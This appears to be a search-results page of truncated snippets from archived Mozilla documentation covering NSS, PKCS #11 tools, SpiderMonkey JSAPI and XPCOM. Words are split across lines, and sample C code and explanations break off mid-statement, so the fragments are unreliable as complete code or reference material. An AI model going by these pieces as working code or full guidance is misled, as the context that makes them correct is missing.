revised documents available since the release of nss 3.11 include the following: build instructions nss shared db compatibility nss 3.12.6 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.12.6 shared libraries without r...
NSS 3.21 release notes
services (nss) 3.21, which is a minor release. distribution information the hg tag is nss_3_21_rtm. nss 3.21 requires nspr 4.10.10 or newer. nss 3.21 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_rtm/src/ security fixes in nss 3.21 bug 1158489 / cve-2015-7575 - p
revent md5 downgrade in tls 1.2 signatures. new in nss 3.21 new functionality certutil now supports a --rename option to change a nickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake callbacks (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optiong...
...ure and hash algorithm is available ssl_error_unsupported_signature_algorithm - error code for when an unsupported signature and hash algorithm is configured ssl_error_missing_extended_master_secret - error code for when the extended master secret is missing after having been negotiated ssl_error_unexpected_extended_master_secret - error code for receiving an extended master secret when p
reviously not negotiated in sslt.h ssl_enable_extended_master_secret - configuration to enable the tls extended master secret extension (rfc 7627) ssl_preinfo_version - used with sslpreliminarychannelinfo to indicate that a tls version has been selected ssl_preinfo_cipher_suite - used with sslpreliminarychannelinfo to indicate that a tls cipher suite has been selected ssl_preinfo...
NSS 3.24 release notes
est national institute of standards and technology (nist) guidance (as of 2015): software integrity checks and post functions are executed on shared library load. these checks have been disabled by default, as they can cause a performance regression. to enable these checks, you must define symbol nss_force_fips when building nss. counter mode and galois/counter mode (gcm) have checks to p
revent counter overflow. additional csps are zeroed in the code. nss softoken uses new guidance for how many rabin-miller tests are needed to verify a prime based on prime size. nss softoken has also been updated to allow nss to run in fips level 1 (no password). this mode is triggered by setting the database password to the empty string. in fips mode, you may move from level 1 to level 2...
... in the code. nss softoken uses new guidance for how many rabin-miller tests are needed to verify a prime based on prime size. nss softoken has also been updated to allow nss to run in fips level 1 (no password). this mode is triggered by setting the database password to the empty string. in fips mode, you may move from level 1 to level 2 (by setting an appropriate password), but not the
reverse. a ssl_configservercert function has been added for configuring ssl/tls server sockets with a certificate and private key. use this new function in place of ssl_configsecureserver, ssl_configsecureserverwithcertchain, ssl_setstapledocspresponses, and ssl_setsignedcerttimestamps. ssl_configservercert automatically determines the certificate type from the certificate and private key. the calle...
Enc Dec MAC Output Public Key as CSR
r_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...value to use as iv for aes cbc * open an input file and an output file, * wrap the symmetric and mac keys using public key * write a header to the output that identifies the two wrapped keys * and public key * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using p
reviously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; seckeypublickey *pubkey = null; secitem *pubkeydata = null; prfiledesc *infile = null; prfiledesc *headerfile = null; ...
Encrypt Decrypt_MAC_Using Token
stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file. */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv. */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...enerate a random value to use as iv for aes cbc * open an input file and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
NSS Sample Code Sample_3_Basic Encryption and MACing
_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...generate a random value to use as iv for aes cbc * open an input file and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
EncDecMAC using token object - sample 3
, cka_sign, mk, &noparams); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "encrypt failure\n"); goto cleanup; } /* save the last block of ciphertext as ...
... also a token object. * get their cka_ids * generate a random value to use as iv for aes cbc * open an input file and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
PKCS11 FAQ
he token. orphaned keys have a cka_id generated from some part of the public key. this value is set when the key is generated, so that nss will be able to find the key when the certificate for that key is loaded. this case is interesting only for read/write tokens. what labels does nss use to identify certificates? nss can use the cka_label attribute to identify user certificates (see p
revious question) and presents this label to the user. therefore, each user certificate must have some label associated with it. the label for a token certificate is presented to the user as follows:token label :certificate label . this implies that eachtoken label should be unique and meaningful to the user, and that eachcertificate label should be unique to the token. nss gets the value of the cka...
... nss attempts to extract an unwrapped key from a token only if the token cannot provide the necessary service with that key. for instance if you are decrypting an s/mime message and you have unwrapped the des key with the private key provided by a given token, nss attempts to use that token to provide the des encryption. only if that token cannot do des ...
PKCS #11 Module Specs
t try to open a certificate database. nokeydb don't try to open a key database. forceopen don't fail to initialize the token if the databases could not be opened. passwordrequired zero length passwords are not acceptable (valid only if there is a keydb). optimizespace allocate smaller hash tables and lock tables. when this flag is not specified, softoken will allocate large tables to p
revent lock contention. tokens configure 'tokens' by hand. the tokens parameter specifies a space separated list of slotids, each of which specify their own set of parameters affecting that token. typically 'tokens' would not be specified unless additional databases are to be opened as additional tokens. if tokens is specified, then all tokens (including the default tokens) need to be specified. i...
... open a certificate database. nokeydb don't try to open a key database. forceopen don't fail to initialize the token if the databases could not be opened. passwordrequired zero length passwords are not acceptable (valid only if there is a keydb). optimizespace allocate smaller hash tables and lock tables. when this flag is not specified, softoken will allocate large tables to p
revent lock contention. examples: ...
NSS tools : modutil
name modutil - manage pkcs #11 module information within the security module database. synopsis modutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial
review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens. modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated wit...
...r as they make sense for the current platform. if this attribute is omitted, a default of 777 is assumed. nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. in 2009, nss introduced a new set of databases that are sqlite databases r...
sslcrt.html
if unsuccessful, secfailure. use pr_geterror to obtain the error code. description the cert_verifycertnow function must call one or more pk11 functions to obtain the services of a pkcs #11 module. some of the pk11 functions require a pin argument (see ssl_setpkcs11pinarg for details), which must be specified in the wincx parameter. to obtain the value to pass in the wincx parameter, call ssl_
revealpinarg. cert_verifycertname compares the common name specified in the subject dn for a certificate with a specified hostname. syntax #include <cert.h> secstatus cert_verifycertname( certcertificate *cert, char *hostname); parameters this function has the following parameters: cert a pointer to the certificate against which to ch...
...e function returns a certcertnicknames object containing the requested nicknames. description cert_getcertnicknames must call one or more pk11 functions to obtain the services of a pkcs #11 module. some of the pk11 functions require a pin argument (see ssl_setpkcs11pinarg for details), which must be specified in the wincx parameter. to obtain the value to pass in the wincx parameter, call ssl_
revealpinarg. cert_freenicknames frees a certcertnicknames structure. this structure is returned by cert_getcertnicknames. syntax #include <cert.h> void cert_freenicknames(certcertnicknames *nicknames); parameters this function has the following parameter: nicknames a pointer to the certcertnicknames structure to be freed. ...
NSS Tools modutil
: netscape internal pkcs #11 modulelibrary file: **internal only module**manufacturer: netscape communications corp description: communicator internal crypto svcpkcs #11 version 2.0library version: 4.0cipher enable flags: nonedefault mechanism flags: rsa:dsa:rc2:rc4:des:sha1:md5:md2slot: communicator internal cryptographic services version 4.0manufacturer: netscape communications corp type: softwa
reversion number: 4.1firmware version: 0.0status: enabledtoken name: communicator generic crypto svcstoken manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 4.0token firmware version: 0.0access: write protectedlogin type: public (no login required)user pin: not initializedslot: communicator user private key and certificate servicesm...
...token name: communicator generic crypto svcstoken manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 4.0token firmware version: 0.0access: write protectedlogin type: public (no login required)user pin: not initializedslot: communicator user private key and certificate servicesmanufacturer: netscape communications corp type: softwa
reversion number: 3.0firmware version: 0.0status: enabledtoken name: communicator certificate db token manufacturer: netscape communications corp token model: libsec 4.0 token serial number: 0000000000000000token version: 7.0token firmware version: 0.0access: not write protectedlogin type: login requireduser pin: not initialized setting a default provider this example makes the specified module...
NSS tools : signver
ults. -s signature_file gives the input file for the digital signature. -v enables verbose output. extended examples verifying a signature the -v option verifies that the signature in a given signature file is valid when used to sign the given object (from the input file). signver -v -s signature_file -i signed_file -d sql:/home/my/sharednssdb signatu
revalid=yes printing signature data the -a option prints all of the information contained in a signature file. using the -o option prints the signature file information to the given output file rather than stdout. signver -a -s signature_file -o output_file nss database types nss originally used berkeleydb databases to store security information. the last versions of these lega...
...en output file rather than stdout. signver -a -s signature_file -o output_file nss database types nss originally used berkeleydb databases to store security information. the last versions of these legacy databases are: o cert8.db for certificates o key3.db for keys o secmod.db for pkcs #11 module information berkeleydb has performance limitations, though, which p
revent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. in 2009, nss introduced a new set of databases that are sqlite...
Rebranding SpiderMonkey (1.8.5)
for example the default brand for spidermonkey 1.8.5 is 'mozjs185'. mkdir build-$brand-release cd build-$brand-release configure this build of spidermonkey with the desired options. for example: ../configure --enable-ctypes --with-system-nspr note: your desired configuration may be different. ...
...od. now for the tricky parts. we need to perform a recursive find and replace text operation on all files in the current directory. in the unix world we would issue the following command: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation. if you have failed to insert your brand name in any of the p
revious steps where it is called for, you must delete this build directory and restart this process from the beginning. this time paying careful attention to the commands you issue to your command shell. the above command has actually changed some information we need changed back so we will re-issue the recursive find and replace text in files command with some modifications. find ./ -type f -exec se...
Creating JavaScript tests
astyet.com. focus on writing fast, light tests that cover a single feature. there is basically no cost to adding a new test, so add as many feature tests as needed to cover each feature orthogonally. remember that whenever a test fails, someone -- probably you -- is going to have to figure out what went wrong. testing your test run your new test locally before checking it in (or posting it for
review). nobody likes patches that include failing tests! see running automated javascript tests for instructions on how to run jstests or jit-tests. it's also a good sanity check to run each new test against an unpatched shell or browser. the test should fail if it's working properly. checking in completed tests tests are usually
reviewed and pushed just like any other code change. just include ...
...working properly. checking in completed tests tests are usually
reviewed and pushed just like any other code change. just include the test in your patch. security-sensitive tests should not be committed until the corresponding bug has been made public. instead, ask a spidermonkey peer how to proceed. it is ok under certain circumstances to push new tests to certain repositories without a code
review. don't do this unless you know what you're doing. ask a spidermonkey peer for details. ...
Exact Stack Rooting
etting used. even though creating a new js::rootedt is cheap, it is silly to repeat this work for every new call frame. to solve this, we use the standard "handle" approach. a js::handlet is a pointer to a js::rootedt. a js::rootedt will automatically convert to a js::handlet. by using js::handlet in the interface instead of direct gcpointers, we ensure that the gcthing is already rooted on some p
revious stack frame, freeing us from having to worry about rooting the gcthing for the duration of the call. bool hello(jscontext *cx, handleobject foo) { return hello(cx, foo); } ..... void otherfunction(jscontext *cx) { ... rootedobject obj(cx, ...); hello(cx, obj); ... } a secondary benefit: since all js functions take js::handlets, code that does not root cstack gcpointers...
...let with a set method. bool returnfoo(jscontext *cx, mutablehandlestring out) { out.set(js_newstringcopyz(cx, "foo")); return bool(out); } size_t getlengthfoo(jscontext *cx) { rootedstring s(cx); if (returnfoo(cx, &s)) return js_getstringlength(s); return size_t(-1); } all methods in the js-api that return gcpointers have been changed to this out-param style. this p
revents an entire class of bugs where return values are not rooted properly before the next js-api call. js::nullptr null (or nullptr) does not implicitly convert to a js::handlet. for places where you want to pass a null value into a function taking a js::handlet, you can construct and pass a new nullptr instance. you are free to use these as temporaries. rootedobject obj(cx, js_newobject(cx, cla...
JIT Optimization Outcomes
type of the input to the operation cannot be resolved to a single type. unknownproperties optimization failed because the object containing the property was marked as having unknown properties. this can happen if too many properties are defined on the object, or if delete is used to remove one of the object's properties. singleton one of the types present in the typeset was a singleton type, p
reventing the optimization from being enabled. notsingleton optimization failed because the object containing the property did not have a 'singleton' type. singleton types are assigned to objects that are "one of a kind", such as global objects, literal objects declared in the global scope, and top-level function objects. notfixedslot the property being accessed is not stored at a known location ...
...e stored in the property could potentially be a non-object value. since only objects can be uniquely typed, the optimization strategy fails in this case. notstruct the object holding the property is not a typed struct object. notunboxed the object whose property is being accessed is not formatted as an unboxed object. unboxedconvertedtonative the object whose property is being accessed was p
reviously unboxed but was deoptimized and converted to a native object. structnofield the unboxed property being accessed does not correspond to a field on the typed object. inconsistentfieldtype the type of an unboxed field is not consistent across all the different types of objects it could be accessed from. inconsistentfieldoffset the offset of an unboxed field is not consistent across all t...
JSAPI Cookbook
; /* intentionally fall through to the finally block. */ finally_block: /* * temporarily set aside any exception currently pending. * it will be automatically restored when we return, unless we call savedstate.drop(). */ js::autosaveexceptionstate savedstate(cx); if (!js_callfunctionname(cx, global, "cleanup", 0, null, &r)) { /* the new error replaces the p
revious one, so discard the saved exception state. */ savedstate.drop(); return false; } return success; object properties getting a property // javascript var x = y.myprop; the jsapi function that does this is js_getproperty. it requires a jsobject * argument. since javascript values are usually stored in js::value variables, a cast or conversion is usually needed. in ...
...nstant property this is the first of three examples involving the built-in function object.defineproperty(), which gives javascript code fine-grained control over the behavior of individual properties of any object. you can use this function to create a constant property, one that can't be overwritten or deleted. specify writable: false to make the property read-only and configurable: false to p
revent it from being deleted or redefined. the flag enumerable: true causes this property to be seen by for-in loops. // javascript object.defineproperty(obj, "prop", {value: 123, writable: false, enumerable: true, configurable: false}); the analogous jsapi function is js_defineproperty. the...
JSNewEnumerateOp
be returned as an integer jsval in *idp, if idp is non-null, and provided the number of enumerable properties is known. if idp is non-null and the number of enumerable properties can't be computed in advance, *idp should be set to jsval_zero. jsenumerate_init_all used identically to jsenumerate_init, but exposes all properties of the object regardless of enumerability. ...
... the return value is used to indicate success, with a value of false indicating failure. ...
JSVAL_LOCK
v is a js object, string, or double value. ...
...v is a js object, string, or double value. jsval_lock determines if v is an object, string, or double value, and if it is, it locks the value. ...
JS_IsExtensible
ct to examine. extensible bool * out parameter. ...
... extensible bool * out parameter. ...
JS_NewExternalString
mber of characters in the array chars. fin jsstringfinalizer a string finalizer the javascript engine should use (later) to free the string buffer chars. added in spidermonkey 17 type int (js_newexternalstringwithclosure only) indicates which string finalizer callback the javascript engine should use (later) to free the string buffer chars. ...
...obsolete since jsapi 13 description js_newexternalstring and js_newexternalstringwithclosure create a new jsstring whose characters are stored in external memory, i.e., memory allocated by the application, not the javascript engine. ...
JS_SealObject
ved from the jsapi, because ecmascript 5 includes a "seal" concept (namely, that of object.seal) which is quite different from that of js_sealobject. moreover, js_sealobject's exact semantics are subtly incompatible with ecmascript. js_freezeobject and js_deepfreezeobject are near-substitutes compatible with ecmascript semantics, implementing semantics compatible with those of object.freeze. ...
...e of object.freeze. p
revent modification of object fields. syntax jsbool js_sealobject(jscontext *cx, jsobject *obj, jsbool deep); name type description cx jscontext * a context. obj jsobject * the object to seal. deep jsbool if true, seal all objects directly or indirectly reachable from obj's slots. description js_sealobject p
revents all write access to the object, either to add a new property, delete an existing property, or set the value or attributes of an existing property. see also bug 492849 ...
JS_SetContextCallback
yntax typedef bool (* jscontextcallback)(jscontext *cx, unsigned contextop, void *data); name type description cx jscontext * pointer to a jscontext which the callback may use to call into jsapi functions. this is the context which was just created, or is about to be destroyed. for example, the callback my call js_getcontextprivate(cx) in order to free up resources p
reviously allocated by js_setcontextprivate. contextop unsigned see jscontextop. for future compatibility the callback must do nothing and return true if any other value is passed. data void * data specified in js_setcontextcallback. added in spidermonkey 31 typedef enum jscontextop { jscontext_new, jscontext_destroy } jscontextop; enumeration ...
...s called. the callback may perform its own cleanup and must always return true. in a debug build, if the callback returns false, the js engine will halt with an assertion. description js_setcontextcallback specifies a callback function that is automatically called when jscontexts are created or destroyed. only one callback function may be specified per js runtime. this function returns the p
revious context callback, if any, else null. see also mxr id search for js_setcontextcallback js_newcontext js_destroycontext js_destroycontextnogc js_destroycontextmaybegc js_getcontextprivate js_setcontextprivate bug 845545 ...
JS_SetOptions
obsolete since jsapi 27this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. enables and disables options on a jscontext, replacing all p
reviously set options. syntax uint32 js_setoptions(jscontext *cx, uint32 options); name type description cx jscontext * a context on which to set options. options uint32 the new set of options. this is the logical or of zero or more flags described below. description js_setoptions sets the option flags of a given js context cx. this function returns a uint32 value containing the p
revious values of the flags. to turn individual options on or off, use js_setoptions with js_getoptions: // turn ...
...l is set. mxr id search for jsoption_moar_xml jsoption_native_branch_callback the branch callback set by js_setbranchcallback may be called with a null script parameter, by native code that loops intensively. mxr id search for jsoption_native_branch_callback jsoption_dont_report_uncaught when returning from the outermost api call, p
revent uncaught exceptions from being converted to error reports. mxr id search for jsoption_dont_report_uncaught jsoption_relimit added in spidermonkey 1.8 throw an exception if a regular expression backtracks more than n3 times, where n is the length of the input string. mxr id search for jsoption_relimit jsoption_anonfunfix added in spid...
JS_malloc
ze_t nbytes); void * js_realloc(jscontext *cx, void *p, size_t oldbytes, size_t newbytes); char * js_strdup(jscontext *cx, const char *s); void js_free(jscontext *cx, void *p); name type description cx jscontext * pointer to a js context. if allocation fails, an error is reported in this context. p void * (js_realloc and js_free only) pointer to a p
reviously allocated region of memory to resize or deallocate. nbytes size_t (js_malloc and js_realloc only) amount of space, in bytes, to allocate. s const char * (js_strdup only) pointer to a null-terminated string. s must not be null. description js_malloc allocates a region of memory nbytes in size. on success, js_malloc returns a pointer to the beginning of the...
...not null, js_realloc(cx, p, 0) behaves like js_free(cx, p) and returns null. js_strdup allocates a copy of the null-terminated string s. on success, it returns a pointer to the copy. if any of these three functions fails to allocate the required amount of memory, it reports an error as though by calling js_reportoutofmemory(cx) and returns null. js_free deallocates a region of memory allocated a p
revious call to js_malloc, js_realloc, or js_strdup. if p is null, js_free does nothing. once the region of memory is freed, the application must not use it again. for js_realloc and js_free, if p is non-null, cx must be associated with the same runtime as the context used to allocate p. that is, it is safe to allocate memory in one context and free it in another, as long as both contexts are in the...
SpiderMonkey 45
is pleased to announce the release of spidermonkey 45. you can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascript engine that shipped in firefox 45. it continues to improve performance over p
revious spidermonkey releases. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. you may wish to make the bugs block bug 837921 (aliased as "sm.embedding"). — apr 14, 2016...
... supported version is msvc 2013. spidermonkey 45 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on several other platforms (sparc, mips), the jit is provided but not supported. on remaining platforms the jit is disabled; javascript code runs in an interpreter, as it has in p
revious versions. it's the same language, just not as fast. migrating to spidermonkey 45 spidermonkey 45 is not binary-compatible with p
revious releases, nor is it source-code compatible. many jsapi types; functions, and callback signatures, have changed though most functions that have retain their p
revious name, providing relatively unchanged functionality. applications will require significant ch...
Mozilla Projects
r software offerings. personal security manager (psm) personal security manager (psm) consists of a set of libraries that perform cryptographic operations on behalf of a client application. these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and
revocation), and other common pki functions. pork pork is a c++ parsing and rewriting tool chain. the core of pork is a c++ parser that provides exact character positions for the start and end of every ast node, as well as the set of macro expansions that contain any location. this information allows c++ to be automatically rewritten in a precise ...
...veloper tools that are based on web replay, along with their ui. the low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features. we would like to use web replay to radically improve not just the debugging experience but the entire web development experience. to that end, this document will be
revised over time as we find new and better ways of helping developers. zest zest is an experimental specialized scripting language (also known as a domain-specific language) developed by the mozilla security team and is intended to be used in web oriented security tools. the language is written in json, but we do not expect people to w...
A Web PKI x509 certificate primer
e site certificate to a trusted certificate of the user agent (ie if you follow the issuer path you will end on a self-signed certificate that is considered trusted by the browser). the attributes of the certificates in the verification path have valid parameters for that verification (for example the validity period of all the certificates are valid for the time the verification is being done)
revocation checks are considered ok for that particular validation. one issue that is not commonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing).
...s required to exist with the serverauth bit asserted. name constraints this is an extension exclusive for ca and indicates limits on the name space for its children. this is one of the most powerful extensions for businesses to have to help limit risk imposed by losing the private key of the ca. authority information access this extension is primarily used to to describe the ocsp location for
revocation checking. it is mandatory for certificates that chain up to a root in the mozilla ca program. self-signed certificates these are the steps to generate a certificate for www.example.com. replace this value with the actual server name in the steps below. 1. generate the key using the following command: openssl genpkey -algorithm rsa -out key.pem -pkeyopt rsa_keygen_bits:2048 2048 is c...
Setting up an update server
led complete, not a partial mar. here is an example of an appropriate mar file to use: https://archive.mozilla.org/pub/firefox/releases/69.0b9/update/win64/firefox-69.0b9.complete.mar. building a mar building a mar locally is more complicated. part of the problem is that mars are signed by mozilla and so you cannot really build an "official" mar yourself. this is a security measure designed to p
revent anyone from serving malicious updates. if you want to use a locally-built mar, the copy of firefox being updated will need to be built to allow un-signed mars. see building firefox for more information on building firefox locally. these changes will need to be made in order to use the locally built mar: put this line in the mozconfig file in root of the build directory (create it if it does...
...on2 command: python -m simplehttpserver 8000 or, this is the python3 command: python3 -m http.server 8000 if you aren't sure that you started the server correctly, try using a web browser to navigate to http://127.0.0.1:8000/update.xml and make sure that you get the xml file you created earlier. installing the update you may want to start by deleting any pending updates to ensure that no p
reviously found updates interfere with installing the desired update. you can use this command with firefox's browser console to determine the update directory: const {fileutils} = chromeutils.import("resource://gre/modules/fileutils.jsm"); fileutils.getdir("updrootd", [], false).path once you have determined the update directory, close firefox, browse to the directory and remove the subdirectory c...
AT Development
building xulrunner with python how to build xulrunner with python on windows. ...
... building xulrunner with python how to build xulrunner with python on windows. then comtypes gives access to msaa and iaccessible2. ...
XPCOM array guide
nscomarray is that it's a template, and all the pointers in it must be pointers to the same type; it's nice to be able to use it because you get type-safety and don't have to spend time and code qiing (like you have to with nsiarray). array guidelines here are a few simple rules which will keep your code clean and your developers happy: use typesafe arrays like nscomarray<t> nstarray<t> whe
rever possible. avoid all obsolete arrays and enumerators. avoid creating temporary arrays. scriptable arrays nsiarray / nsimutablearray usage nsiarray is useful if you need to pass arrays of com objects through interfaces or require a scriptable array. it can hold strong or weak references to its container objects. this basic interface only allows querying of existing elements in the array. t...
...h expect acess to a new object void tweakarray(nsimutablearray** elements) { // ugh, extra indirection! *elements->removeelementat(0); *elements->appendelement(newelement, pr_false); } in-place enumeration when accessing all members of an nsiarray, in-place enumeration is preferred over indexed access. however, i seem to have forgotten to implement that. good thing the interface is under
review. sorry! enumerators creating an enumerator from an nsiarray is easy. the method enumerate() returns a nsisimpleenumerator which accesses all the elements in the array. often, simply accessing an array by index, using queryelementat is faster. see the section on enumerators to learn when to properly use enumerators. for example, if you need to iterate an array returned from another object, y...
Component Internals
read on to see how components are generally implemented in xpcom, or you can skip to the next chapter, where the weblock component tutorial takes you step by step through the component creation process. xxx mediawiki...xxx sucks creating components in c++ let's start by examining how xpcom components are written in c++. the most common type of component is one that is written in c++ and compiled into a shared library (a dll on a windows system or a dso on unix). ...
...ions for the public functions that xpcom provides (see xpcom/build/nsxpcom.h). when the glue library is initialized, it dynamically loads these symbols from the xpcom library, which allows the component to avoid linking directly with the xpcom library. you shouldn't have to link to the xpcom library to create a xpcom component - in fact, if your component has to, then something is wrong. « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standar...
Packaging WebLock
the first section, component installation overview, describes the general installation process in mozilla. the following sections describe the steps you can take to organize the weblock component for distribution and installation. note: the emphasis of this tutorial is on the component development itself, so this section on packaging and installing extensions to gecko is necessarily brief. ...
...stallation scheme. we leave this as an exercise for the reader. note: install-object-methods the methods are available on the main install object, which is implied in the script below in the same way that the window object is implied in javascript manipulation of the dom of a web page. in other words, the fragment initinstall() from the script is equivalent to install.initinstall(). « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standa...
Preface
create xpcom components in javascript and other languages, and though you might be able to follow along as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++. you don't need to be a c++ expert, however. although basic ideas such as inheritance and encapsulation should be familar to you, whe
rever possible they are explained in the book as they are used. also many of the examples are in javascript, which is used in mozilla to access xpcom components as scriptable objects, and so familiarity with that language is useful as well. xpcom stands for the cross platform component object model. as this name implies, xpcom is similar to microsoft com. if you have any experience with this technol...
...st time they appear in the text. those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail. link references to other sections and to figures and tables are links to those sections. acknowledgements thanks to peter lubczynski, john gaunt, ellen evans, and alec flett for technical
reviews. a special thanks goes to darin fisher for his very acute observations, close reading, and attention to detail. next » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited wi...
Resources
« p
revious this last section of the book provides a list of resources referred to in the tutorial and other links that may be useful to the gecko developer. weblock resources weblock installer and information the sdk download linux: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-i686-pc-linux-gnu-1.4a.tar.gz windows: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-win32-1.4a.zip other mozilla downloads gecko resources internal string guide external string guide the gecko networking library ("necko") the netscape portable runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scripta...
...this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (pape...
Setting up the Gecko SDK
the following four sections tell the developer how to download and organize the gecko sdk and create a new project in which components like weblock can be created. downloading and setting the sdk the gecko sdk provides all of the tools, headers, and libraries that you need to build xpcom components. the sdk is available for windows, linux, and mac operating systems, and versions for other operating systems are being developed, and can be retrieved from as a single archive from the following platform-specific locations (need correction for last version (now 1.9.2.8). ...
...this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standa...
Receiving startup notifications
. registering with the category manager to register with the category manager, simply call its nsicategorymanager.addcategoryentry() method: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "contract-id", pr_true, pr_true, getter_copies(p
revious)); this causes your component to be instantiated using nsicomponentmanager.createinstance(). if you want your component to be started as a service, prepend "service," to the contract id: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "service,contract-id", pr_true,...
